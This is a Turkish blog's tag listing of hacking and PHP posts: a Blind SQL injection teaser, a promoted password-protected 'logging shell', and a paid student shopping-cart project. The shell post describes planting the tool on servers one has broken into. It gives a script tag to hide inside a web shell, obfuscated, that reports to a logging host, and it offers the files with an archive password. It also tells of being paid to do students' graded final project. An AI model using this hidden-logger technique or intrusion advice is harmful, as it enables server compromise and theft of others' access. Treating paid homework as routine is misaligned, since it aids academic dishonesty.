Merhaba, bu yazıda sizlere MySQL Blind Injection'dan bahsedicem.Normal SQLi bilgilerinize güvenerek Blind SQLi'de birşeyler yaparım diyorsanız elinize kayda değer birşey geçirecemeyecek, sıkılıp vazgeçeceksiniz.Çünkü Blind SQLi'de sayfada işinize yarayan verileri yazdıramıyorsunuz, her harf için sorgunuzu tekrar düzenlemeniz, bir yandan da aldığınız tepkilere göre ASCII tablosundan yararlanmanız gerekiyor.Yani sabır ve ince işçilik isteyen bir iş.
mysql etiketine sahip kayıtlar gösteriliyor. Tüm kayıtları göster
mysql etiketine sahip kayıtlar gösteriliyor. Tüm kayıtları göster
0 Blind SQL Injection (Temel)
Yazar
serdaR
on
29 Ocak 2016
Etiketler :
Bilgi Guvenligi
,
Blind SQL Injection
,
Hack
,
mysql
,
SQL Injection
9 Loglu Shell Scripti (Şifre Korumalı)
Yazar
serdaR
on
31 Ağustos 2013
Etiketler :
Bilgi Guvenligi
,
Hack
,
Loglu Shell
,
mysql
,
PHP
Blog panelimde en çok hit alan yazıların başında "Haydi ! Loglu Shell Yapalım :)" yazımın olduğunu görünce oradaki bilgilerin biraz tırt olduğunu farkettim...yani kaldır at bi boka yaramaz...o yazıyı hangi kafayla yazdım hatırlamıyorum ama bayadır düzenlemeyi düşünüyodum lakin üşengeçlik işte :) Neyse üşengeçliğimin aksine gecenin bi yarısı üşenmedim sırf sizler birbirinizi rahat rahat kekleyin diye şifre korumalı loglu shell yazdım :) en azından piyasadaki kıytırık logger dalgalarının aksine şık & güvenli oldu :) kullanım klavuzu bile var !!!
Aslında bi ara kafayı biraz daha kırıp kullanıcı girişini & logları mySql e bağlayacaktım ama kullanım kolaylığı açısından biraz zor olacaktı...yani düşünsenize zor zahmet bi server a sızdınız gizli saklı bu scripti orada kullanmak istiyorsunuz bide tutup phpMyadmin 'e girip veritabanı mı oluşturacaksınız pehh!?! :P tabi siz sırf Loglu Shell işi için ayrı host - domain alacaksanız o zaman başka, iletişime geçin karşılıklı güzelleşiriz ;)
Login paneli :) amerikan filmlerindeki gibi oldu :)
Logları buradan gözlemleyebilirsiniz.fwrite ila yazım yaptığım için log dosyası şişebilir herhangi bi editörde(notepad vs.) govde.php yi açarak içeriğini silebilirsiniz.
Admin ayarlarını ayarlar.php den yukarıdaki gibi düzenleyebilirsiniz.
Shell 'e gizlenecek js kodu (şifrelemenizi tavsiye ederim) :
Aslında bi ara kafayı biraz daha kırıp kullanıcı girişini & logları mySql e bağlayacaktım ama kullanım kolaylığı açısından biraz zor olacaktı...yani düşünsenize zor zahmet bi server a sızdınız gizli saklı bu scripti orada kullanmak istiyorsunuz bide tutup phpMyadmin 'e girip veritabanı mı oluşturacaksınız pehh!?! :P tabi siz sırf Loglu Shell işi için ayrı host - domain alacaksanız o zaman başka, iletişime geçin karşılıklı güzelleşiriz ;)
Login paneli :) amerikan filmlerindeki gibi oldu :)
Logları buradan gözlemleyebilirsiniz.fwrite ila yazım yaptığım için log dosyası şişebilir herhangi bi editörde(notepad vs.) govde.php yi açarak içeriğini silebilirsiniz.
Admin ayarlarını ayarlar.php den yukarıdaki gibi düzenleyebilirsiniz.
Shell 'e gizlenecek js kodu (şifrelemenizi tavsiye ederim) :
<script src=http://localhost/log/log.js></script>
- Dosyaları buradan indirebilirsiniz.
- Rar Pass : uslub3y
Yorumlarınızı bekliyorum...Hayırlı işler ! ;)
20 Alışveriş Sepeti (PHP & MySQL)
Yazar
serdaR
on
22 Ağustos 2013
Etiketler :
alışveriş sepeti
,
mysql
,
ödev
,
PHP
,
Programlama
,
proje
Nisan-Mayıs ayları arasında kodladığım basit bir scripttir...Bir gün, bilgisayar programcılığı 2. sınıftan bi kaç kişi proje ödevleri olduğunu ve komiktir ki bunun son final sınavı yerine sayılacağını söyleyerek yardım istediler, daha önce ödevlerine yardımcı olmamın faydasını görecektim...Parada sıkıntı olmayacağını söylediklerinde gözlerimde yeşillikler yanıp sönmeye başlamıştı bile malum öğrenci hayatı ...
Kolları sıvadım ve işe koyuldum basit birşey istediklerini panele bile gerek olmadığını söylediler ama ben kıyak olması mahiyetinde basit birde panel iliştirdim...
- Üyelik sistemi ile çalışır (üye değilseniz ürünleri sepete atamaz & sepete erişemezsiniz)
- Kullanıcı kaydı & girişi tamamlandıktan sonra anasayfadan
ikonu ile ürünü sepete atabilirsiniz. - Session ve mysql kontrolü ile her kullanıcının ayrı sepeti bulunur
ikonu ile de sepetten ürün eksiltebilir / silebilirsiniz. - Kontrol panelinden "ürün ekleme" , "ürün listesi" görme/silme ve "müşteri listesi" görme/silme işlemleri yapılıyor.








